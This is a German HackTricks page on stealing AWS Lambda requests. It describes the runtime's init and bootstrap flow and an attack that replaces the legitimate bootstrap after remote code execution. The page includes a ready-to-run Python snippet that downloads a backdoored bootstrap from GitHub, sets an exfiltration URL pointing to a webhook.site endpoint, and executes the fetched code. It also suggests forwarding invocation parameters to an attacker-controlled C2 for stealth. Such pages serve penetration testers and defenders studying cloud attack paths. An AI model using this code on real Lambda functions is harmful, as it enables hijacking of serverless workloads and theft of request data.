AWS - Steal Lambda Requests

Unterstütze HackTricks

Lambda-Flow

  1. Slicer ist ein Prozess außerhalb des Containers, der Aufrufe an den Init-Prozess sendet.

  2. Der Init-Prozess hört auf Port 9001 und exponiert einige interessante Endpunkte:

  • /2018-06-01/runtime/invocation/next – hole das nächste Aufrufereignis

  • /2018-06-01/runtime/invocation/{invoke-id}/response – gib die Handler-Antwort für den Aufruf zurück

  • /2018-06-01/runtime/invocation/{invoke-id}/error – gib einen Ausführungsfehler zurück

  1. bootstrap.py hat eine Schleife, die Aufrufe vom Init-Prozess erhält und den Benutzer-Code aufruft, um sie zu verarbeiten (/next).

  2. Schließlich sendet bootstrap.py die Antwort an Init.

Beachte, dass bootstrap den Benutzer-Code als Modul lädt, sodass jede Codeausführung, die vom Benutzer-Code durchgeführt wird, tatsächlich in diesem Prozess stattfindet.

Stehlen von Lambda-Anfragen

Das Ziel dieses Angriffs ist es, den Benutzer-Code dazu zu bringen, einen bösartigen bootstrap.py-Prozess innerhalb des bootstrap.py-Prozesses auszuführen, der die verwundbare Anfrage verarbeitet. Auf diese Weise wird der bösartige Bootstrap-Prozess beginnen, mit dem Init-Prozess zu kommunizieren, um die Anfragen zu bearbeiten, während der legitime Bootstrap gefangen ist und den bösartigen ausführt, sodass er keine Anfragen an den Init-Prozess stellt.

Dies ist eine einfache Aufgabe, da der Code des Benutzers vom legitimen bootstrap.py-Prozess ausgeführt wird. Der Angreifer könnte also:

  • Ein gefälschtes Ergebnis des aktuellen Aufrufs an den Init-Prozess senden, sodass Init denkt, der Bootstrap-Prozess wartet auf weitere Aufrufe.

  • Eine Anfrage muss an /${invoke-id}/response gesendet werden.

  • Die invoke-id kann vom Stack des legitimen bootstrap.py-Prozesses mit dem inspect Python-Modul (wie hier vorgeschlagen) oder einfach erneut angefordert werden an /2018-06-01/runtime/invocation/next (wie hier vorgeschlagen).

  • Einen bösartigen bootstrap.py ausführen, der die nächsten Aufrufe verarbeitet.

  • Aus Gründen der Heimlichkeit ist es möglich, die Lambda-Aufrufparameter an ein vom Angreifer kontrolliertes C2 zu senden und die Anfragen dann wie gewohnt zu bearbeiten.

  • Für diesen Angriff reicht es aus, den ursprünglichen Code von bootstrap.py vom System oder github zu erhalten, den bösartigen Code hinzuzufügen und ihn aus dem aktuellen Lambda-Aufruf auszuführen.

Angriffs Schritte

  1. Finde eine RCE-Schwachstelle.

  2. Führe den bösartigen Bootstrap aus.

Du kannst diese Aktionen einfach ausführen, indem du Folgendes ausführst:

python3 <<EOF
import os
import urllib3

# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data

# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"

exec(new_runtime)
EOF

Für weitere Informationen siehe https://github.com/carlospolop/lambda_bootstrap_switcher

Referenzen

Unterstütze HackTricks

Last updated